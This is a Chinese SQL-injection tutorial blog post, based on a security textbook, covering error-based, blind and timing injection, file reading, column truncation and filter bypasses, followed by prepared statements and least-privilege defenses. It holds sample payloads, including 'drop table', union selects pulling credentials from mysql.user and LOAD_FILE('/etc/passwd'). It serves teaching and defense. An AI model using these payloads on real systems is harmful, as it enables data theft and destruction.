新冠确诊阳性后的第一篇博客,一文带你学习SQL注入

news2025/1/23 6:10:48

新冠确诊阳性后的第一篇博客,一文带你学习SQL注入

  • 1.你好SQL注入
  • 2.盲注
  • 3.Timing Attack
  • 4.常见的攻击技巧
  • 5.SQL CoIumn Truncation
  • 6.防御SQL注入
    • SQL注入防御的误区
    • 使用预编译语句
    • 使用存储过程

SQL注入攻击属于注入攻击的一种,注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据

1.你好SQL注入

下面是一个SQL注入的典型例子:

var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";

变量ShipCity的值由用户提交,在正常情况下,假如用户输入“Beijing”,那么SQL语句会执行:

SELECTFROM OrdersTable WHERE ShipCity = 'Beijing'

但假如用户输入一段有语义的SQL语句,比如:

Beijing'; drop table OrdersTable--

那么,SQL语句在实际执行时就会如下:

SELECTFROM OrdersTable WHERE ShipCity = 'Beijing'; drop table OrdersTable--'

我们看到,原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果!🙌

在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号“'”,引起执行查询语句的语法错误,服务器直接返回了错误信息:

Microsoft JET Database Engine错误 ’80040e14'
字符串的语法错误 在查询表达式 ’ID=49'’ 中。
/showdetail.asp,行8

从错误信息中可以知道,服务器用的是Access作为数据库,错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手了


2.盲注

所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

如果攻击者构造如下的条件语句:

http://newspaper.com/items.php? id=2 and 1=2

实际执行的SQL语句就会变成:

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

因为“and 1=2”永远是一个假命题,所以这条SQL语句的“and”条件永远无法成立。对于Web应用来说,也不会将结果返回给用户,攻击者看到的页面结果将为空或者是一个出错页面。

但是为了进一步确认注入是否存在,攻击者还必须再次验证这个过程。因为一些处理逻辑或安全功能,在攻击者构造异常请求时,也可能会导致页面返回不正常。攻击者继续构造如下请求:

http://newspaper.com/items.php? id=2 and 1=1

当攻击者构造条件“and 1=1”时,如果页面正常返回了,则说明SQL语句的“and”成功执行,那么就可以判断“id”参数存在SQL注入漏洞了。

这就是盲注的工作原理!🍟


3.Timing Attack

在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。它有两个参数:

BENCHMARK(count, expr)

函数执行的结果,是将表达式expr执行count次。比如:

mysql> SELECT BENCHMARK(1000000, ENCODE('hello', 'goodbye'));
+----------------------------------------------+
| BENCHMARK(1000000, ENCODE('hello', 'goodbye')) |
+----------------------------------------------+
|                                              0 |
+----------------------------------------------+
1 row in set (4.74 sec)

就将ENCODE('hello', 'goodbye')执行了1000000次,共用时4.74秒。

因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack。


4.常见的攻击技巧

SQL注入可以猜解出数据库的对应版本,比如下面这段Payload,如果MySQL的版本是4,则会返回TRUE:

http://www.site.com/news.php? id=5 and substring(version,1,1)=4

下面这段Payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:

id=5 union all select 1,2,3 from admin
id=5 union all select 1,2, passwd from admin

在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MySQL中,就可以通过LOAD_FILE()读取系统文件,并通过INTO DUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。

例如,获取服务器上的/etc/passwd文件:

union select 1,1, LOAD_FILE('/etc/passwd'),1,1;

除了可以使用INTO DUMPFILE外,还可以使用INTO OUTFILE,两者的区别是DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。


5.SQL CoIumn Truncation

在MySQL的配置选项中,有一个sql_mode选项。当MySQL的sql-mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对于用户插入的超长值只会提示warning,而不是error(如果是error则插入不成功),这可能会导致发生一些“截断”问题。

首先开启strict模式。

sql-mode="STRICT_TRANS_TABLES, NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION"

在strict模式下,因为输入的字符串超出了长度限制,因此数据库返回一个error信息,同时数据插入不成功。

mysql> create table 'truncated_test' (
    -> `id` int(11) NOT NULL auto_increment,
    -> `username` varchar(10) default NULL,
    -> `password` varchar(10) default NULL,
    -> PRIMARY KEY ('id')
    -> )DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.08 sec)

mysql> selectfrom truncated_test;
Empty set (0.00 sec)

mysql> show columns from truncated_test;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(11)     | NO   | PRI | NULL    | auto_increment |
| username | varchar(10) | YES |     | NULL    |                 |
| password | varchar(10) | YES |     | NULL    |                 |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

mysql> insert into truncated_test('username', 'password') values("admin", "pass");

Query OK, 1 row affected (0.03 sec)

mysql> selectfrom truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> insert into truncated_test('username', 'password') values("admin       x",
"new_pass");
ERROR 1406 (22001): Data too long for column 'username' at row 1
mysql> selectfrom truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

当关闭了strict选项时:

sql-mode="NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION"

数据库只返回一个warning信息,但数据插入成功。

mysql> selectfrom truncated_test;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | admin    | pass     |
 +----+----------+----------+
 1 row in set (0.00 sec)

 mysql> insert into truncated_test('username', 'password') values("admin       x",

     -> "new_pass");
 Query OK, 1 row affected, 1 warning (0.01 sec)

 mysql> selectfrom truncated_test;
 +----+------------+----------+
 | id | username   | password |
 +----+------------+----------+
 | 1 | admin      | pass     |
 | 2 | admin      | new_pass |
 +----+------------+----------+
 2 rows in set (0.00 sec)

 mysql>

6.防御SQL注入

SQL注入防御的误区

SQL注入的防御并不是一件简单的事情,开发者常常会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下代码:

$sql = "SELECT id, name, mail, cv, blog, twitter FROM register WHERE
id=".mysql_real_escape_string($_GET['id']);

当攻击者构造的注入代码如下时:

http://vuln.example.com/user.php? id=12, AND,1=0, union, select,1, concat(user,0x3a, passwo
rd),3,4,5,6, from, mysql.user, where, user=substring_index(current_user(), char(64),1)

将绕过mysql_real_escape_string的作用注入成功。这条语句执行的结果如下。

在这里插入图片描述

因为mysql_real_escape_string() 仅仅会转义:

  • \r
  • \n
  • NULL
  • Control-Z

那是不是再增加一些过滤字符,就可以了呢? 比如处理包括“空格”、“括号”在内的一些特殊字符,以及一些SQL保留字,比如SELECT、INSERT等。

其实这种基于黑名单的方法,都或多或少地存在一些问题,我们看看下面的案例。

注入时不需要使用空格的例子:

SELECT/**/passwd/**/from/**/user
SELECT(passwd)from(user)

不需要括号、引号的例子,其中0x61646D696E是字符串admin的十六进制编码:

SELECT passwd from users where user=0x61646D696E

使用预编译语句

一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。比如在Java中使用预编译的SQL语句:

String custname = request.getParameter("customerName"); 
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );

使用存储过程

除了使用预编译语句外,我们还可以使用安全的存储过程对抗SQL注入。使用存储过程的效果和使用预编语句译类似,其区别就是存储过程需要先将SQL语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。

下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance是预先在数据库中定义好的存储过程。

String custname = request.getParameter("customerName"); 
 try {
    CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(? )}");
    cs.setString(1, custname);
    ResultSet results = cs.executeQuery();
    // … result set handling
 } catch (SQLException se) {
    // … logging and error handling
 }

从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。🎶

在最后,网络安全是一门实践性非常强的学科,Web安全又是网络安全的基石,诸位宜搭配各种漏洞靶场进行学习,切不可纸上谈兵!

版权声明:本文教程基于白帽子讲Web安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/105407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

echarts3D柱状图,多个柱子,单个柱子,传参即可

<template><!-- 折线图 --><div ref"line" class"line"></div> </template><script> // colorList 横条颜色数组 // data 数据 格式为&#xff1a; [] // areaStyle 渐变色 import * as echarts from echarts import…

AOT(超前编译)实例分析

文章目录一、背景二、具体实施2.1 tfcomfile 是什么&#xff1f;2.2 tfcompile 的功能是什么&#xff1f;2.3使用tfcompile三、总结一、背景 前边已经了解了JIT和AOT的基本概念&#xff0c;AOT(提前编译)方式就是在代码执行阶段之前全部编译成目标指令&#xff0c;进入执行阶段…

自动网络搜索NAS之FBNetV1

1. 摘要 为移动设备设计卷积网络挑战巨大&#xff0c;因为设计空间巨大&#xff0c;现有NAS方法在计算上是昂贵的。另外&#xff0c;之前的工作关注降低FLOPs&#xff0c;但是FLOPs并不总是反应真实的延迟。因此基于differentiable neural architecture search&#xff08;DNA…

sd卡怎么格式化?5个步骤轻松教会你

随着SD卡的广泛使用&#xff0c;总会有各种情况导致SD卡必须要格式化才行。但是格式化有没有办法执行&#xff0c;sd卡怎么格式化&#xff1f;还有人会因为误操作导致的数据丢失。现在&#xff0c;小编就给大家介绍一下怎么格式化SD卡&#xff1f;以及格式化后SD卡数据的恢复方…

VUE3-模板语法《二》

首先看到这张图&#xff0c;左边的结构就不分析了&#xff0c;上一章有说明顺序。 中间红色的部分&#xff0c;分为3块&#xff0c;第一块是模板&#xff0c;里面写html&#xff1b;第二块是脚本语言&#xff0c;里面写js或者ts语言&#xff0c;lang"ts"就是ts语法…

GreatSQL MGR 使用 IPv6 连接

GreatSQL社区原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。GreatSQL是MySQL的国产分支版本&#xff0c;使用上与MySQL一致。作者&#xff1a;王权富贵文章来源&#xff1a;社区原创 1.概述 本文基于 GreatSQL 8.0.25-16 &#xff0c;以下测试均使用此版…

嵌入式:Load/Store之单寄存器的存取指令

文章目录Load/Store指令分类单寄存器的存取指令1、单字和无符号字节的数据传送指令指令说明指令汇编格式2、半字和有符号字节的数据传送指令指令汇编格式ARM处理器是Load/Store型的&#xff0c;即它对数据的操作是通过将数据从存储器加载到片内寄存器中进行处理&#xff0c;处理…

SuperMap iPortal 对接postgis业务数据库(二):大屏使用接口数据更新图表和地图

本文是SuperMap iPortal 对接postgis业务数据库的第二个步骤&#xff1a;大屏使用接口数据更新图表和地图。 这个步骤可以有两种方式去实现数据的展示和更新如下&#xff1a; 一、使用数据上图构建地图并在大屏中使用 1. 数据上图构建地图 打开iPortal 应用中心的数据上图&a…

教你如何轻松搞定云上打印管理

摘要&#xff1a;加快自主创新&#xff0c;满足数字化用户多场景文印需求。本文分享自华为云社区《有了司印云打印&#xff0c;云上打印管理轻松搞定&#xff01;》&#xff0c;作者&#xff1a;云商店 。 作为与职场和个人办公息息相关的工作场景&#xff0c;打印长期以来都是…

uniapp-uView在离线状态下无法显示icon图标的问题

1、修改uview-ui下的u-icon.vue配置文件&#xff0c;一般目录在 uni_modules\uview-ui\components\u-icon\u-icon.vue 2、源文件引入的是阿里巴巴的icon https://at.alicdn.com/t/font_2225171_8kdcwk4po24.ttf font-face {font-family: uicon-iconfont;src: url(https://at.…

restful风格快速入门

restful风格入门 概述 简介&#xff1a;REST(Representational State Transfer),表现形式状态转换。 传统风格 http://localhost/users/getById?id1 http://localhost/users/saveUser REST风格 http://localhost/users/1 http://localhost/users 对比&#xff1a; 对比可…

spring-boot sentry 不触发事件

按照官网的提示https://docs.sentry.io/platforms/java/guides/spring-boot/performance/ 一步一步的确认&#xff0c;但是最终就是不触发事件 解决过程&#xff1a; 1.开启debug 在properties文件增加一行 sentry.debugtrue2.运行&#xff0c;查看日志输出。 dsn什么的配…

Android代码保护与反调试方案

1、代码保护方案 1.1、Proguard代码混淆 ProGuard是一个开源的Java代码收缩器&#xff0c;优化器&#xff0c;混淆器和预校验器&#xff0c;ProGuard的作用如下&#xff1a; &#xff08;1&#xff09;压缩(Shrink):检查并移除代码中无用的类、字段、方法&#xff1b; &#…

一键回复聊天软件

不论是何种行业&#xff0c;高效工作都是企业一直在追求的&#xff0c;如果在为客户提供服务的过程中&#xff0c;有一个趁手的好工具是可以带来事半功倍的效果的。 前言 随着互联网的发展&#xff0c;越来越多的工作开始转向线上化&#xff0c;通过网络可以满足客户的多种需求…

手写Srping10(实现容器事件监听)

文章目录目标设计项目结构一、实现1、定义事件接口--ApplicationEvent1、定义通用应用上下文事件--ApplicationContextEvent2、定义刷新和关闭事件--ContextClosedEvent、ContextRefreshedEvent2、定义事件监听--ApplicationListener3、定义事件广播器--ApplicationEventMultic…

audio_open函数分析

audio_open() 的作用&#xff0c;就如同它的名字那样&#xff0c;就是打开音频设备。流程图如下&#xff1a; SDL 库播放音频数据有两种方式。 1&#xff0c;调用层定时往 SDL 接口塞数据。 2&#xff0c;设置SDL回调函数&#xff0c;让 SDL 来主动执行回调函数来取数据。 第…

ABAP 字符处理

场景1:是否只包含数字 str1 CO 0123456789 涉及关键字&#xff1a;CO&#xff0c;使用公式 str1 CO str2 。表示 str1 中 的每个字符 在 str2 中都能找到 类比&#xff1a;无 场景2&#xff1a;字符串1 是否 包含 字符串2 DATA str1 TYPE STRING VALUE hello world. DATA …

Pytest测试框架搭建需求及实现方案

目录 框架需求及实现方案 框架需求 实现方案 支持接口自动化、Web UI自动化及App自动化 可以批量运行用例并生成测试报告 测试完成发送邮件 提供灵活的运行方式&#xff0c;如按功能模块运行、按脚本运行、按用例等级运行等等 提供运行日志方便定位问题 支持切换环境 …

李沐精读论文:MAE 《Masked Autoencoders Are Scalable Vision Learners》

论文&#xff1a;Masked Autoencoders Are Scalable Vision Learners 别再无聊地吹捧了&#xff0c;一起来动手实现 MAE(Masked Autoencoders Are Scalable Vision Learners) 玩玩吧&#xff01; - 知乎 参考博文&#xff1a;MAE 论文逐段精读【论文精读】 - 哔哩哔哩 神洛华…

QT 学习笔记(十)

文章目录一、绘图1. 理论知识储备2. 画背景图3. 简单绘图4. 手动刷新窗口二、绘图实现代码1. 主窗口头文件 widget.h2. 主窗口头文件 widget.cpp由于每次代码都是在原有程序上修改&#xff0c;因此除了新建项目&#xff0c;不然一般会在学完后统一展示代码。 提示&#xff1a;具…